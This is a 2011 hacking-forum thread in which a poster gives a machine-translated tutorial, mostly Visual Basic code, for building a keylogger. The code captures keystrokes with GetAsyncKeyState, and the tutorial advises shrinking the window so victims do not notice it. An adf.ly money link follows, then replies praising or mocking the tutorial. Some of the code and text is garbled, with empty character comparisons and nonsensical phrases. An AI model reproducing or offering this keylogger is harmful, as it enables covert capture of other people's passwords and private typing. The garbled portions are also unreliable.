Thread: [\[TuT\] How to make a simple Keylogger](#)

Skid - April 13, 2011, 4:37 pm

Hi everyone.

I'm gonna tell u how you can make a Keylogger with VB 2010.

You need this things out of you're toolbox:

1x Timer ("timer1" | enabled = true | interval = 1)

1x textbox

Select the object, and then you need to look in the menu "Properties".

To look at the codes/To find the codes you need click 2x (dubbleclick) on the bar where 'form1' stands.

what you should do next is to get information from a dll file called user32

This is done through the top of your code, the code below to put

```
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
```

We also have a variable needs to hold down the retrieved keys to which are then migrate to txtkeys

this variable to do with this code: `dim result As Integer`

Now you're code will look like:

```
Code Public Class Form1
```

```
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
```

```
Dim result As Integer
```

```
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
```

```
End Sub
```

```
End Class
```

Now we see what keys are pressed. Do this by going back to the design of your form and now by double clicking on Timer1

now you see that a piece of code in your old code has come.

Enter here:

```
Code For i = 1 To 255
```

```
result = 0
```

```
result = GetAsyncKeyState(i)
```

```
If result = -32767 Then
```

```
If Chr(i) = "(" Then
```

```
txtkeys.Text = txtkeys.Text & "[Arrow Down]"
```

```
Elseif Chr(i) = "%" Then
```

```
txtkeys.Text = txtkeys.Text & "[Arrow Left]"
```

```
Elseif Chr(i) = "" Then
```

```
txtkeys.Text = txtkeys.Text & "[Arrow Right]"
```

```
Elseif Chr(i) = "&" Then
```

```

txtkeys.Text = txtkeys.Text & "[Arrow up]"
Elseif Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[mouse click left]"
Elseif Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[mouse click right]"
Elseif Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[backspace]"
Elseif Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]"
Elseif Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[shift]"
Elseif Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]"
Elseif Chr(i) = "¾" Then
txtkeys.Text = txtkeys.Text & "."
Elseif Chr(i) = "¼" Then
txtkeys.Text = txtkeys.Text & ","
Elseif Chr(i) = "¿" Then
txtkeys.Text = txtkeys.Text & "/"
Else
txtkeys.Text = txtkeys.Text & Chr(i)
End If
End If

```

Next iorder. exe file of your keylogger to get your project to save and then compile and then go to the release directory

Here's how this

file-> save all (please choose a location where you want to save the program manages)

do now compiling

Build -> Build (here the name of your program manages)

Now go to where you've saved your program manages

go to

(the name of your programatje) -> (the name of your program manages) -> bin -> Release

Here is your program manages all ready all you need is just the exe file the rest is not necessary now that you can copy and prog blackberry pad test

You can form your best one as small as possible then people can not accidentally come or that they got to do this. go to the desinger and take the form of an edge and pull you who just have to format how you want it just as a normal program manages!

WARNING! I'm dutch, so i translated this from dutch -> English with [Google Translator](https://www.google.com/translate).

Have Fun with ur Keylogger!

Click here so i can earn some \$\$\$: <http://adf.ly/1ADNf>

0xE9 - April 13, 2011, 4:41 pm

Wow, nice keyboard hook lmao, jk

This Tutorial is translated by Google Translator!

yamachitov - April 23, 2011, 5:26 pm

Very good tut!

thank you man!

Deceptive - April 23, 2011, 5:27 pm

Very good, very good indeed. I can copy and paste threads too, or post something that has been posted 13587901x before.

GetAsyncKeyState doesn't work For me,
but i already have a keylogger and it is working fine ;D
I used Hooks etc ...

JKE - June 2, 2011, 5:49 am

I didn't get the exe file, just a .vshost, why?

ra1d - June 2, 2011, 5:52 am

Because you don't know how to code.
Learn the basics and then I will gladly help you.

rapidguide - June 2, 2011, 6:21 am

i m sure this keylogger does not working in w7 ?

Vuln - June 2, 2011, 8:49 am

GetAsyncKeyState is working with W7 too...

AnonymousSeeker - February 11, 2013, 2:26 pm

Nice tut I like it. Simply and easy :)

Xyzo - February 14, 2013, 8:33 am

Maybe because its outdated and this thread is a two years old? Stop grave digging.

Malcolm???????????????? - February 14, 2013, 11:48 am

Dam this is easy. ive seen this every where on the internet, probaly just copied into here :)?

AmrAhmed - February 16, 2013, 1:44 am

This program look pretty good <3 Nice One pretty clean!

M3RCUR1U5 - February 16, 2013, 8:47 am

nice tut ! thanks for this it helped me a lot :D
